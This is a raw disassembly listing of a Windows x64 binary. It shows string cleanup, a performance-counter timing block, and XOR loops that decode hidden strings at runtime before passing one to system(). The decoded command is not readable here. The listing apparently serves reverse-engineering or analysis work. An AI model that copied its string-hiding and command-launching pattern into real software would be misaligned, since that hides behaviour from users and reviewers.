lea rcx, [rbp + 0x10]
cmp qword [rbp + 0x28], 0xf
cmova rcx, qword [rbp + 0x10]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rdx, qword [rbp + 0x28]
cmp rdx, 0xf
jbe 0x1400072ad
inc rdx
mov rcx, qword [rbp + 0x10]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400072a8
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400072a8
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000ba4c
movdqa xmm0, xmmword [0x14000de60]
movdqu xmmword [rbp + 0x20], xmm0
mov byte [rbp + 0x10], 0
mov rdx, qword [rsp + 0x60]
cmp rdx, 0xf
jbe 0x1400072fe
inc rdx
mov rcx, qword [rsp + 0x48]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400072f9
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400072f9
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000ba4c
call qword [sym.imp.MSVCP140.dll__Query_perf_frequency]
mov rdi, rax
call qword [sym.imp.MSVCP140.dll__Query_perf_counter]
mov r8, rax
cmp rdi, 0x989680
jne 0x14000731f
imul rcx, r8, 0x64
jmp 0x140007398
cmp rdi, 0x16e3600
jne 0x14000737d
movabs r9, 0xb2f4fc0794908cf3
mov rax, r9
imul r8
add rdx, r8
sar rdx, 0x18
mov rcx, rdx
shr rcx, 0x3f
add rdx, rcx
imul rdi, rdx, 0x3b9aca00
imul rcx, rdx, 0x16e3600
sub r8, rcx
imul rcx, r8, 0x3b9aca00
mov rax, r9
imul rcx
add rdx, rcx
sar rdx, 0x18
mov rcx, rdx
shr rcx, 0x3f
add rcx, rdx
add rcx, rdi
jmp 0x140007398
cqo
idiv rdi
imul rcx, rax, 0x3b9aca00
imul rax, rdx, 0x3b9aca00
cqo
idiv rdi
add rcx, rax
sub rcx, rbx
movabs rax, 0x431bde82d7b634db
imul rcx
mov rdi, rdx
sar rdi, 0x12
mov rax, rdi
shr rax, 0x3f
add rdi, rax
mov r9, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
movups xmm0, xmmword [str.CESA_]
movups xmmword [rbp - 0x10], xmm0
mov eax, dword [str.4.__dE]
mov dword [rbp], eax
movzx eax, word [0x14000dc2c]
mov word [rbp + 4], ax
cmp byte [0x14000dc2d], 0
je 0x14000756f
cmp r15d, 2
jl 0x14000752c
movdqa xmm5, xmmword [0x14000de70]
movdqa xmm4, xmmword [0x14000dec0]
movdqa xmm6, xmmword [0x14000de90]
movdqa xmm0, xmmword [str.0000000000000000_t]
movdqa xmmword [rbp - 0x20], xmm0
lea rcx, [rbp - 0xc]
mov edx, dword [rbp - 0x20]
movd xmm2, esi
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14000dea0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [rsi + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14000dea0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add esi, 8
mov eax, esi
lea rcx, [rcx + 8]
cmp esi, 0x10
jl 0x140007422
cmp eax, 0x16
jge 0x14000756f
movsxd rax, esi
lea r8, [rbp - 0x10]
add r8, rax
nop word [rax + rax]
mov eax, 0x8d3dcb09
imul esi
add edx, esi
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x3a
movzx eax, sil
sub al, dl
add al, 0x30
xor byte [r8], al
inc esi
lea r8, [r8 + 1]
cmp esi, 0x16
jl 0x140007540
lea rdx, [rbp - 0x10]
mov rcx, r9
call fcn.140009a00
mov rdx, rdi
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___long_long___int64_____ptr64]
mov rcx, rax
movzx eax, word [0x14000dd58]
mov word [rsp + 0x40], ax
movzx eax, byte [0x14000dd5a]
mov byte [rsp + 0x40], 0x6d
xor byte [rsp + 0x41], 0x31
xor al, 0x32
mov byte [rsp + 0x42], al
lea rdx, [rsp + 0x40]
call fcn.140009a00
mov rcx, rax
lea rdx, [0x140009bd0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov eax, dword [str._PG_Q5]
mov dword [rsp + 0x40], eax
movzx eax, word [0x14000d9b4]
mov word [rsp + 0x44], ax
mov byte [rsp + 0x40], 0x70
xor byte [rsp + 0x41], 0x31
xor byte [rsp + 0x42], 0x32
xor byte [rsp + 0x43], 0x33
xor al, 0x34
mov byte [rsp + 0x44], al
xor byte [rsp + 0x45], 0x35
lea rcx, [rsp + 0x40]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
nop
mov rdx, qword [rbp + 0x88]
cmp rdx, 0xf
jbe 0x140007649
inc rdx
mov rcx, qword [rbp + 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140007644
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140007644
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000ba4c
xor eax, eax
mov rcx, qword [rbp + 0x2d0]
xor rcx, rsp
call fcn.14000b9f0
lea r11, [rsp + 0x3f0]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
movaps xmm6, xmmword [r11 - 0x10]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call fcn.140001110
nop
lea r8, [rbp - 0x10]
lea rdx, [rbp - 0x20]
lea rcx, str.temp_directory_path
call fcn.140002590
nop
call fcn.1400011b0
nop
shr rdx, 0x20
lea r8, [rsp + 0x48]
call fcn.1400024c0
nop
lea r8, [rsp + 0x48]
lea rdx, [rbp - 0x10]
lea rcx, str.temp_directory_path
call fcn.140002590
nop
call fcn.1400011b0
nop
shr rdx, 0x20
lea r8, [rsp + 0x48]
call fcn.1400024c0
int3